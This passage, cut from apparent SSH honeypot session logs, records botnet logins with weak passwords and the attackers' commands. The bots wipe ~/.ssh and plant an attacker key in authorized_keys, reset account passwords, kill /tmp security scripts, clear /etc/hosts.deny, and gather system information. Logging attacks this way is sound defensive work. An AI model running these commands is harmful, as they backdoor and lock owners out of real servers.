-l"},{"seq":14,"at":"2026-08-27T11:09:50.091335+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:09:50.538196+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:09:51.114270+00:00","kind":"output","latency_ms":null,"data":" 11:09:51 up 7 days, 7:59, 0 user, load average: 0.27, 0.31, 0.31\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:09:51.561702+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:09:52.096228+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:09:52.543991+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:09:53.048932+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:09:53.495277+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:09:53.942308+00:00","kind":"output","latency_ms":null,"data":"top - 11:09:53 up 7 days, 8:00, 0 user, load average: 0.27, 0.31, 0.31\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:09:54.383425+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:09:54.929248+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:09:55.381013+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:09:56.219639+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:09:56.664754+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:09:57.083280+00:00","kind":"output","latency_ms":null,"data":"ymoreno"},{"seq":29,"at":"2026-08-27T11:09:57.536773+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:09:58.975075+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:09:59.423185+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:10:00.779765+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ymoreno","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"d1b1c94f-b001-4553-89af-c3e4fe3bb98a","name":"brazen-bashful-guanaco","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":46148,"username":"user10","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":263,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:09:53.807461+00:00","ended_at":"2026-08-27T11:09:56.028502+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2099,"events":[{"seq":1,"at":"2026-08-27T11:09:38.005158+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:09:38.267700+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:09:41.499369+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:09:42.376868+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:09:42.640021+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\ngXtzuVExrjiD\\ngXtzuVExrjiD\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:09:42.903665+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\ngXtzuVExrjiD\\ngXtzuVExrjiD\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:09:43.166759+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:09:43.825260+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:09:44.089669+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:09:44.870162+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:09:45.136476+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:09:46.146132+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:09:46.409506+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:09:46.681682+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:09:46.945232+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:09:47.587694+00:00","kind":"output","latency_ms":null,"data":" 11:09:47 up 7 days, 7:59, 0 user, load average: 0.03, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:09:47.851413+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:09:48.641277+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:09:48.904669+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:09:49.474866+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:09:49.732378+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:09:49.997902+00:00","kind":"output","latency_ms":null,"data":"top - 11:09:49 up 7 days, 7:59, 0 user, load average: 0.03, 0.03, 0.02\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:09:50.262126+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:09:50.991159+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:09:51.253631+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:09:51.621597+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:09:51.885137+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:09:52.264185+00:00","kind":"output","latency_ms":null,"data":"user10"},{"seq":29,"at":"2026-08-27T11:09:52.525389+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:09:53.544418+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:09:53.808310+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:09:55.954075+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user10","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"952a6526-a6a7-456f-9045-e3ed0686f432","name":"sterling-blithe-marten","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":48948,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":771,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:08:37.479205+00:00","ended_at":"2026-08-27T11:08:38.769725+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2148,"events":[{"seq":1,"at":"2026-08-27T11:08:10.253793+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:08:11.024383+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:08:16.649687+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:08:17.145227+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:08:17.916831+00:00","kind":"input","latency_ms":null,"data":"echo \"root:m67dzMpQkFfR\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:08:18.687315+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:08:19.463206+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:08:20.215429+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:08:20.986897+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:08:21.975663+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:08:22.745065+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:08:23.614202+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:08:24.387873+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:08:25.026001+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:08:25.805191+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:08:26.447612+00:00","kind":"output","latency_ms":null,"data":" 11:08:26 up 7 days, 7:58, 0 user, load average: 0.14, 0.15, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:08:27.221105+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:08:27.645660+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:08:28.415404+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:08:29.135071+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:08:29.905491+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:08:30.551221+00:00","kind":"output","latency_ms":null,"data":"top - 11:08:30 up 7 days, 7:58, 0 user, load average: 0.14, 0.15, 0.1\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:08:31.320161+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:08:31.895665+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:08:32.666493+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:08:33.543099+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:08:34.316915+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:08:34.623267+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:08:35.397534+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:08:36.709179+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:08:37.479992+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:08:38.523618+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Qwerty12","method":"password","accepted":true,"tier":"other"}]} {"id":"b8acf46f-d88e-4167-b602-de532992d0f5","name":"fearless-indigo-chamois","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":52358,"username":"u2","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":263,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:08:02.641859+00:00","ended_at":"2026-08-27T11:08:04.185810+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2084,"events":[{"seq":1,"at":"2026-08-27T11:07:43.957641+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:07:44.218556+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:07:48.528490+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:07:49.296381+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:07:49.558418+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\naE4l0twlo9SO\\naE4l0twlo9SO\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:07:49.820838+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\naE4l0twlo9SO\\naE4l0twlo9SO\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:07:50.082077+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:07:50.940166+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:07:51.207251+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:07:52.541351+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:07:52.805105+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:07:54.170680+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:07:54.430445+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:07:54.748092+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:07:55.010938+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:07:55.592480+00:00","kind":"output","latency_ms":null,"data":" 11:07:55 up 7 days, 7:58, 0 user, load average: 0.18, 0.19, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:07:55.855471+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:07:56.328480+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:07:56.591162+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:07:57.425519+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:07:57.688377+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:07:58.373392+00:00","kind":"output","latency_ms":null,"data":"top - 11:07:58 up 7 days, 7:58, 0 user, load average: 0.18, 0.19, 0.16\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:07:58.638011+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:07:59.381566+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:07:59.645380+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:08:00.076755+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:08:00.340640+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:08:00.719875+00:00","kind":"output","latency_ms":null,"data":"u2"},{"seq":29,"at":"2026-08-27T11:08:00.981362+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:08:02.376639+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:08:02.643568+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:08:04.113869+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"u2","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"0bd93430-fa3f-493c-8f5e-ffa7719fcc05","name":"sunlit-orderly-tanager","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":58830,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":450,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:07:12.995333+00:00","ended_at":"2026-08-27T11:07:13.977959+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2148,"events":[{"seq":1,"at":"2026-08-27T11:06:51.292221+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:06:51.739241+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:06:56.659098+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:06:57.200009+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:06:57.647764+00:00","kind":"input","latency_ms":null,"data":"echo \"root:MYQhDWc7BCp9\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:06:58.094731+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:06:58.540549+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:06:58.933412+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:06:59.389171+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:07:00.855344+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:07:01.305466+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:07:02.521303+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:07:02.971813+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:07:03.342138+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:07:03.789685+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:07:04.532215+00:00","kind":"output","latency_ms":null,"data":" 11:07:04 up 7 days, 7:57, 0 user, load average: 0.2, 0.17, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:07:04.982258+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:07:05.835326+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:07:06.282761+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:07:06.876121+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:07:07.325411+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:07:07.821018+00:00","kind":"output","latency_ms":null,"data":"top - 11:07:07 up 7 days, 7:57, 0 user, load average: 0.2, 0.17, 0.14\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:07:08.271929+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:07:08.749339+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:07:09.201204+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:07:09.951195+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:07:10.404965+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:07:10.713877+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:07:11.163755+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:07:12.545399+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:07:12.997479+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print 